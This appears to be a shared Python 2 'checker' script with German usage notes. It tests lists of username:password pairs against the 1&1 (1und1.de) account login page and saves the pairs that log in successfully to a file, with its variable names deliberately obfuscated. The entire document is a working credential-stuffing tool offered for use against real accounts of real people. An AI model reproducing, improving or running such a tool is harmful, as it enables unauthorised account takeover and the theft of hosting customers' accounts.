1&1 Checker [by Fath0m]
import requests from timeit import default_timer as timer import time import sys if 64 - 64: i11iIiiIii print "1&1 Checker - by Fath0m" print "" if 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIi #---------------------------------- if sys . argv [ 1 : ] : o0OO00 = sys . argv [ 1 ] else : o0OO00 = "in.txt" if 78 - 78: i11i . oOooOoO0Oo0O if sys . argv [ 2 : ] : iI1 = sys . argv [ 2 ] else : iI1 = "out.txt" if 43 - 43: I11i11Ii if 65 - 65: i1iIi11iIIi1I def Oo ( username , password ) : try : I1ii11iIi11i = { '__lf' : 'Login' , '__sendingdata' : '1' , 'oaologin.username' : username , 'oaologin.password' : password } I1IiI = 'https://account.1und1.de/' o0OOO = requests . post ( I1IiI , data = I1ii11iIi11i ) iIiiiI = o0OOO . text if 'Startseite' in iIiiiI [ 248 : 300 ] : print "Valid: " , ( username + ':' + password ) Iii1ii1II11i ( ( username + ':' + password ) ) return True print "Invalid: " , ( username + ':' + password ) time . sleep ( 5 ) if 10 - 10: I1iII1iiII + I1Ii111 / OOo except : return False if 41 - 41: I1II1 def Ooo0OO0oOO ( cred ) : cred = cred . strip ( ) . split ( ':' ) return cred [ 0 ] . decode ( "Latin-1" ) , cred [ 1 ] . decode ( "Latin-1" ) if 86 - 86: oO0o def Iii1ii1II11i ( valid ) : with open ( iI1 , 'a' ) as file : file . write ( '\n' + '{}' . format ( valid ) ) if 12 - 12: OOO0o0o / o0oO0 + i111I * O0Oo0oO0o . II1iI . i1iIii1Ii1II def i1I1Iiii1111 ( ) : with open ( o0OO00 , "rt" ) as i11 : I11 = timer ( ) for Oo0o0000o0o0 in i11 : if len ( Oo0o0000o0o0 . strip ( ) ) > 1 : oOo0oooo00o = Ooo0OO0oOO ( Oo0o0000o0o0 ) Oo ( oOo0oooo00o [ 0 ] , oOo0oooo00o [ 1 ] ) oO0o0o0ooO0oO = timer ( ) print "Time passed: " + str ( oO0o0o0ooO0oO - I11 ) [ : 4 ] if 52 - 52: i11i - i11iIiiIii % II1iI i1I1Iiii1111 ( ) # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3
Start:
python 1und1.py in.txt out.txt
- Es wird Python 2.7 benötigt, sowie das Modul
.- Die Accounts werden nur im 1&1 ControlCenter auf valid gecheckt.